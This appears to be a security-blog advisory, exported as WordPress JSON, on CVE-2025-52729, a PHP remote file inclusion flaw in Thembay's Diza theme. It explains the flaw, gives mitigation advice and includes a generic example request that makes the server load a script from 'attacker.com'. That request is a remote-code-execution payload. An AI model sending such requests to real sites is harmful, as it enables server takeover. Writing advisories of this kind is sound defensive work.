{"id":57779,"date":"2025-07-06T02:36:49","date_gmt":"2025-07-06T02:36:49","guid":{"rendered":""},"modified":"2025-07-11T17:02:18","modified_gmt":"2025-07-11T23:02:18","slug":"cve-2025-52729-php-remote-file-inclusion-vulnerability-in-thembay-s-diza","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52729-php-remote-file-inclusion-vulnerability-in-thembay-s-diza\/","title":{"rendered":"<strong>CVE-2025-52729: PHP Remote File Inclusion Vulnerability in Thembay&#8217;s Diza<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>This post sheds light on a critical vulnerability, identified as CVE-2025-52729, that has been found in Thembay&#8217;s Diza. This vulnerability is related to the improper control of a filename for an Include\/Require statement in a PHP program, also known as &#8216;PHP Remote File Inclusion&#8217;. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32976-two-factor-authentication-bypass-vulnerability-in-quest-kace-systems-management-appliance\/\"  data-wpil-monitor-id=\"64315\">vulnerability holds a high potential for system<\/a> compromise or data leakage, making it a significant threat to security professionals, system administrators, and organizations using Thembay&#8217;s Diza.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-52729<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64632\">Potential system compromise or data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-56704405\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Thembay&#8217;s Diza | All versions up to 1.3.9<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of the improper control of a filename for an Include\/Require statement in a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49883-critical-php-remote-file-inclusion-vulnerability-in-thembay-greenmart\/\"  data-wpil-monitor-id=\"65840\">PHP program within Thembay&#8217;s<\/a> Diza. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6426-executable-file-warning-vulnerability-in-firefox-for-macos\/\"  data-wpil-monitor-id=\"64294\">vulnerability allows an attacker to include a file<\/a> from a remote server that contains malicious PHP code. When this malicious code is run on the local server, it can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64819\">lead to a complete system compromise or data<\/a> leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3821336964\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>An attacker might exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48921-cross-site-request-forgery-vulnerability-in-drupal-open-social\/\"  data-wpil-monitor-id=\"65010\">vulnerability with a request<\/a> similar to the following:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerable-site.com<\/code><\/pre>\n<p>This request would cause the server to fetch and execute the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52207-critical-php-script-upload-vulnerability-in-mikopbx\/\"  data-wpil-monitor-id=\"65491\">PHP script<\/a> hosted on the attacker&#8217;s server. This could give the attacker the same privileges as the server&#8217;s PHP process, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6032-unverified-tls-certificate-in-podman-machine-init-command-leads-to-potential-man-in-the-middle-attack\/\"  data-wpil-monitor-id=\"64631\">potentially leading<\/a> to a full system compromise.<\/p>\n<p><strong>Mitigation Measures<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply the vendor\u2019s patch as soon as it becomes available. Until the patch is released, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50738-memos-application-vulnerability-allows-for-unauthorized-user-information-disclosure\/\"  data-wpil-monitor-id=\"77109\">users can implement a Web Application<\/a> Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20217-denial-of-service-vulnerability-in-snort-3-detection-engine-of-cisco-secure-firewall-threat-defense-software\/\"  data-wpil-monitor-id=\"77108\">detect and prevent the exploitation of this vulnerability<\/a>. Users should also consider disabling the ability for <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24769-php-remote-file-inclusion-vulnerability-in-bzotheme-zenny\/\"  data-wpil-monitor-id=\"65792\">PHP to include files from remote<\/a> servers or limit it to trusted sources only.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This post sheds light on a critical vulnerability, identified as CVE-2025-52729, that has been found in Thembay&#8217;s Diza. This vulnerability is related to the improper control of a filename for an Include\/Require statement in a PHP program, also known as &#8216;PHP Remote File Inclusion&#8217;. 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